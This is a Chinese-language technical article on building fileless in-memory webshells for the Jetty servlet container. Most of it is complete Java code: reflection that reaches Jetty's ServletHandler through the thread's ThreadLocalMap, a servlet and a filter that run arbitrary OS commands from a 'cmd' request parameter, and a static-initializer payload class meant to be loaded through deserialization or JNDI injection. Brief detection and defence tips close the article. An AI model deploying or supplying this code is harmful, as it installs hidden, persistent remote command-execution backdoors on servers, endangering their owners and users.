jetty 内存马构造分析
字数 1119 2025-08-22 12:23:00
Jetty 内存马构造与分析
1. 内存马概述
内存马(Memory Shell)是一种无文件落地的Web后门技术,通过直接操作Web容器的内存结构来植入恶意功能。Jetty作为一款轻量级的Java Web服务器和Servlet容器,同样存在被植入内存马的风险。
2. Jetty Servlet内存马构造
2.1 基本原理
Jetty中Servlet的注册流程是通过ServletHandler类的addServletWithMapping方法实现的。内存马的核心思路是获取当前Jetty运行时的ServletHandler实例,然后动态添加恶意Servlet。
2.2 关键代码分析
2.2.1 获取ServletHandler
private static ServletHandler getServletContextFromThread() {
try {
// 获取当前线程的 ThreadLocalMap
Thread currentThread = Thread.currentThread();
java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocalMap = threadLocalsField.get(currentThread);
// 获取 ThreadLocalMap 的table
java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(threadLocalMap);
// 遍历 table 寻找 ServletContext
for (Object entry : table) {
if (entry != null) {
java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value instanceof ServletContext) {
java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
valueField_1.setAccessible(true);
Object value_1 = valueField_1.get(value);
java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
valueField_2.setAccessible(true);
Object value_2 = valueField_2.get(value_1);
return (ServletHandler) value_2;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
这段代码通过反射获取当前线程的ThreadLocalMap,然后遍历其中的值找到ServletContext实例,最终获取到ServletHandler对象。
2.2.2 添加恶意Servlet
ServletHandler servletHandler = getServletContextFromThread();
servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
System.out.println("injection successful");
获取到ServletHandler后,直接调用其addServletWithMapping方法添加恶意Servlet。
2.3 恶意Servlet示例
public class MyServlet_payload extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
System.out.println("success!\n");
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
resp.setContentType("text/html; charset=UTF-8");
PrintWriter writer = resp.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
这是一个典型的命令执行Servlet,通过cmd参数接收并执行系统命令。
3. Jetty Filter内存马构造
3.1 基本原理
与Servlet内存马类似,Filter内存马也是通过获取ServletHandler实例,然后调用其addFilterWithMapping方法实现的。
3.2 关键代码
ServletHandler servletHandler = getServletContextFromThread();
servletHandler.addFilterWithMapping(new FilterHolder(new MyFilter()), "/payload", EnumSet.of(DispatcherType.REQUEST));
3.3 恶意Filter示例
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
return;
}
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
4. 内存马注入点
4.1 直接代码注入
在已有Servlet中插入注入代码,如示例中的MyServlet。
4.2 反序列化利用
构造恶意类,在静态代码块中实现内存马注入:
public class Payload {
static {
try {
// 获取当前线程的 ThreadLocalMap
Thread currentThread = Thread.currentThread();
java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocalMap = threadLocalsField.get(currentThread);
// 获取 ThreadLocalMap 的table
java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(threadLocalMap);
// 遍历 table 寻找 ServletContext
for (Object entry : table) {
if (entry != null) {
java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value instanceof ServletContext) {
java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
valueField_1.setAccessible(true);
Object value_1 = valueField_1.get(value);
java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
valueField_2.setAccessible(true);
Object value_2 = valueField_2.get(value_1);
ServletHandler servletHandler = (ServletHandler) value_2;
servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
System.out.println("injection successful");
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
4.3 JNDI注入利用
通过JNDI注入加载恶意类实现内存马注入。
5. 检测与防御
5.1 检测方法
- 反射检测:检查是否存在异常的反射调用
- Servlet/Filter列表检查:定期检查当前容器中注册的Servlet和Filter
- 行为监控:监控可疑的命令执行行为
5.2 防御措施
- 禁用危险功能:限制反射、JNDI等危险功能
- 安全加固:配置Jetty的安全策略
- 代码审计:定期审计自定义Servlet和Filter
- 运行时保护:使用RASP技术进行防护
6. 总结
Jetty内存马的构造核心在于获取ServletHandler实例并通过其方法动态添加Servlet或Filter。防御的关键在于限制动态注册能力和加强运行时监控。理解这些原理有助于更好地防御此类攻击。